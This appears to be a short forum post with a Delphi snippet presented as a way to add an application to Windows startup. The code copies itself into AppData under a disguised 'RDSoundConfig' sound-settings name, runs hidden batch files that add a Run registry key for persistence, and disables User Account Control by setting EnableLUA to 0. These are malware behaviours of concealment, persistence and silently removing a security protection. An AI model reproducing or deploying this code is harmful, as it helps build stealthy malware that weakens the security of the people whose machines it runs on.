ok so to do this the delphi application must be ran as administrator

so here is how you can add your delphi application using command lines
components used (TMemo)
uses ( ShellApi ) 

========================================================

copyfile(PChar(application.exename), PChar(GetEnvironmentVariable('APPDATA') + '\RDSoundConfig\RDSoundConfig.exe'), false);
memo2.Lines.Add('REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v RDSoundContorl /t REG_SZ /d "%appdata%\RDSoundConfig\RDSoundConfig.exe" /f');
memo2.Lines.Add('exit');
memo2.Lines.SaveToFile(GetEnvironmentVariable('APPDATA') + '\RDSoundConfig\RandShot.bat');
memo2.Lines.Clear;
ShellExecute(Handle, 'open', PAnsiChar(GetEnvironmentVariable('APPDATA') + '\\RDSoundConfig\\RandShot.bat'), nil, nil, SW_HIDE);
memo2.Lines.Add('%windir%\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f');
memo2.Lines.Add('exit');
memo2.Lines.SaveToFile(GetEnvironmentVariable('APPDATA') + '\RDSoundConfig\RDRun.bat');
memo2.Lines.Clear;
ShellExecute(Handle, 'open', PAnsiChar(GetEnvironmentVariable('APPDATA') + '\\RDSoundConfig\\RDRun.bat'), nil, nil, SW_HIDE);